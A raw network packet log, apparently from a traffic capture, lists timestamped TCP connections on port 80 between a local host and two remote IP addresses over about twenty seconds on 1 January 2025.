Jan 1, 2025 15:18:54.666908979 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.667454004 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.719996929 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.719997883 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.720009089 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.724847078 CET	80	50153	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.724975109 CET	80	50152	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.725084066 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.725173950 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.725229025 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.725249052 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.725652933 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.729973078 CET	80	50153	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.079356909 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.084219933 CET	80	50153	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.176750898 CET	80	50153	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.390855074 CET	80	50153	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.390893936 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.391045094 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.431391954 CET	80	50153	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.527987957 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.562576056 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.567353964 CET	80	50154	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.567405939 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.567622900 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.572416067 CET	80	50154	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:55.921094894 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:55.925930023 CET	80	50154	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.032290936 CET	80	50154	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.075814962 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.287877083 CET	80	50154	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.404756069 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.405757904 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.410028934 CET	80	50154	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.410099030 CET	50154	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.410528898 CET	80	50155	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.410603046 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.410744905 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.415487051 CET	80	50155	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.764882088 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:56.769721985 CET	80	50155	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.863267899 CET	80	50155	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:56.905097008 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.115819931 CET	80	50155	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.171248913 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.228591919 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.231239080 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.233715057 CET	80	50155	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.236076117 CET	80	50156	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.236205101 CET	50155	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.236206055 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.236304998 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.241055012 CET	80	50156	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.592946053 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.597804070 CET	80	50156	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.707737923 CET	80	50156	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.780102015 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.874412060 CET	80	50156	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:57.995472908 CET	50153	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.996407986 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:57.997204065 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.001347065 CET	80	50156	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.001393080 CET	50156	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.002113104 CET	80	50157	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.002170086 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.002269030 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.006977081 CET	80	50157	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.358321905 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.363074064 CET	80	50157	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.445806026 CET	80	50157	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.498850107 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.630340099 CET	80	50157	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.689218044 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.744685888 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.744688988 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.749557018 CET	80	50158	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.749628067 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.749775887 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.749944925 CET	80	50157	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:58.750037909 CET	50157	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:58.754538059 CET	80	50158	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.109219074 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.113979101 CET	80	50158	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.212932110 CET	80	50158	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.265208960 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.453054905 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.453150034 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.457945108 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.458026886 CET	80	50158	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.458117962 CET	50158	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.458162069 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.458307028 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.463059902 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.576476097 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.581486940 CET	80	50160	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.581545115 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.581815004 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.586599112 CET	80	50160	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.811729908 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.816531897 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.816728115 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.931689024 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.936577082 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:59.959779978 CET	80	50160	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:59.971851110 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.027091980 CET	80	50160	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.076946974 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.191992044 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.233202934 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.312272072 CET	80	50160	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.358195066 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.438739061 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.438803911 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.439730883 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.443747997 CET	80	50159	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.443804026 CET	50159	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.444005966 CET	80	50160	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.444040060 CET	50160	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.444504976 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.444550991 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.444730997 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.449477911 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.796529055 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:00.801369905 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.891494036 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:00.941207886 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.060679913 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.109206915 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.147439003 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.205238104 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.259227991 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.264564037 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.264565945 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.269402027 CET	80	50162	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.269576073 CET	80	50161	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.271337986 CET	50161	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.271348000 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.271423101 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.276160955 CET	80	50162	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.624116898 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.628922939 CET	80	50162	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.743547916 CET	80	50162	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.795697927 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:01.916167974 CET	80	50162	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:01.967571020 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.044672012 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.045356035 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.049765110 CET	80	50162	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.049813032 CET	50162	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.050124884 CET	80	50163	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.050175905 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.050352097 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.055135012 CET	80	50163	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.405299902 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.410074949 CET	80	50163	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.503767967 CET	80	50163	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.547211885 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.672450066 CET	80	50163	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.721240044 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.818619013 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.818619013 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.823379040 CET	80	50164	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.823506117 CET	80	50163	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:02.823864937 CET	50163	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.823865891 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.824142933 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:02.828898907 CET	80	50164	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.170814991 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.175602913 CET	80	50164	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.266412973 CET	80	50164	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.313213110 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.448163986 CET	80	50164	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.498864889 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.576021910 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.576869011 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.581080914 CET	80	50164	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.581151009 CET	50164	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.581619024 CET	80	50165	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.581685066 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.581859112 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.586607933 CET	80	50165	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:03.936446905 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:03.941199064 CET	80	50165	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.045854092 CET	80	50165	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.108197927 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.304212093 CET	80	50165	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.373476982 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.421768904 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.422887087 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.426773071 CET	80	50165	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.426863909 CET	50165	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.427839994 CET	80	50166	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.427895069 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.428201914 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.433007002 CET	80	50166	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.780132055 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:04.787062883 CET	80	50166	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:04.929934978 CET	80	50166	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.001198053 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.099271059 CET	80	50166	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.212795019 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.213381052 CET	50167	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.217863083 CET	80	50166	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.218017101 CET	50166	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.218126059 CET	50167	80	192.168.2.4	172.67.220.198
Jan 1, 2025 15:19:05.218194008 CET	80	50167	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.218581915 CET	50167	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.218581915 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.222865105 CET	80	50167	172.67.220.198	192.168.2.4
Jan 1, 2025 15:19:05.223366976 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.223473072 CET	50167	80	192.168.2.4	172.67.220.198
Jan 1, 2025 15:19:05.223474026 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.223601103 CET	50167	80	192.168.2.4	172.67.220.198
Jan 1, 2025 15:19:05.223731995 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.228528023 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.341171980 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.346004963 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.349287033 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.353177071 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.358477116 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:05.577153921 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.702302933 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.920675039 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:05.935584068 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.233238935 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.607093096 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609443903 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609484911 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609519958 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609534979 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609553099 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609587908 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.609594107 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.609622955 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.609623909 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.609822035 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.609827042 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.610100031 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.610868931 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.610959053 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.611454010 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.620410919 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.623466969 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:06.624420881 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.864295959 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:06.921175003 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.070255041 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.070271015 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.070287943 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.071438074 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.162712097 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.169179916 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.204921007 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.204922915 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.209173918 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.210057020 CET	80	50168	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.210068941 CET	80	50169	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.210206985 CET	50169	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.210208893 CET	50168	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.213953018 CET	80	50170	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.217349052 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.217350006 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.222134113 CET	80	50170	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.561527967 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.566385984 CET	80	50170	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.662766933 CET	80	50170	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.717542887 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:07.931261063 CET	80	50170	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:07.983165979 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.061031103 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.061839104 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.066005945 CET	80	50170	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.066054106 CET	50170	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.066608906 CET	80	50171	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.066669941 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.066767931 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.071578979 CET	80	50171	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.420815945 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.425637960 CET	80	50171	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.529676914 CET	80	50171	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.611268044 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.696424961 CET	80	50171	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.811371088 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.822734118 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.823493004 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.829706907 CET	80	50171	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.830204964 CET	80	50172	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:08.830297947 CET	50171	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.830308914 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.830441952 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:08.836322069 CET	80	50172	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:09.187468052 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.192425966 CET	80	50172	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:09.295629025 CET	80	50172	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:09.343375921 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.552710056 CET	80	50172	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:09.608181953 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.667992115 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.668802977 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.673193932 CET	80	50172	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:09.673259974 CET	50172	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.673607111 CET	80	50173	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:09.673661947 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.673806906 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:09.678591013 CET	80	50173	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.030113935 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.035135984 CET	80	50173	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.145530939 CET	80	50173	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.269823074 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.411066055 CET	80	50173	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.515166998 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.526406050 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.526416063 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.531275988 CET	80	50174	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.531433105 CET	80	50173	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.537252903 CET	50173	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.537262917 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.537415028 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.542213917 CET	80	50174	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.891395092 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:10.897818089 CET	80	50174	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:10.993788958 CET	80	50174	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.157067060 CET	80	50174	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.159351110 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.279352903 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.279354095 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.284287930 CET	80	50175	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.284740925 CET	80	50174	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.284869909 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.284877062 CET	50174	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.285033941 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.289803982 CET	80	50175	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.639712095 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:11.644496918 CET	80	50175	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.761045933 CET	80	50175	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:11.811275005 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.013221979 CET	80	50175	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.061274052 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.077610016 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.078413963 CET	50176	80	192.168.2.4	104.21.38.84
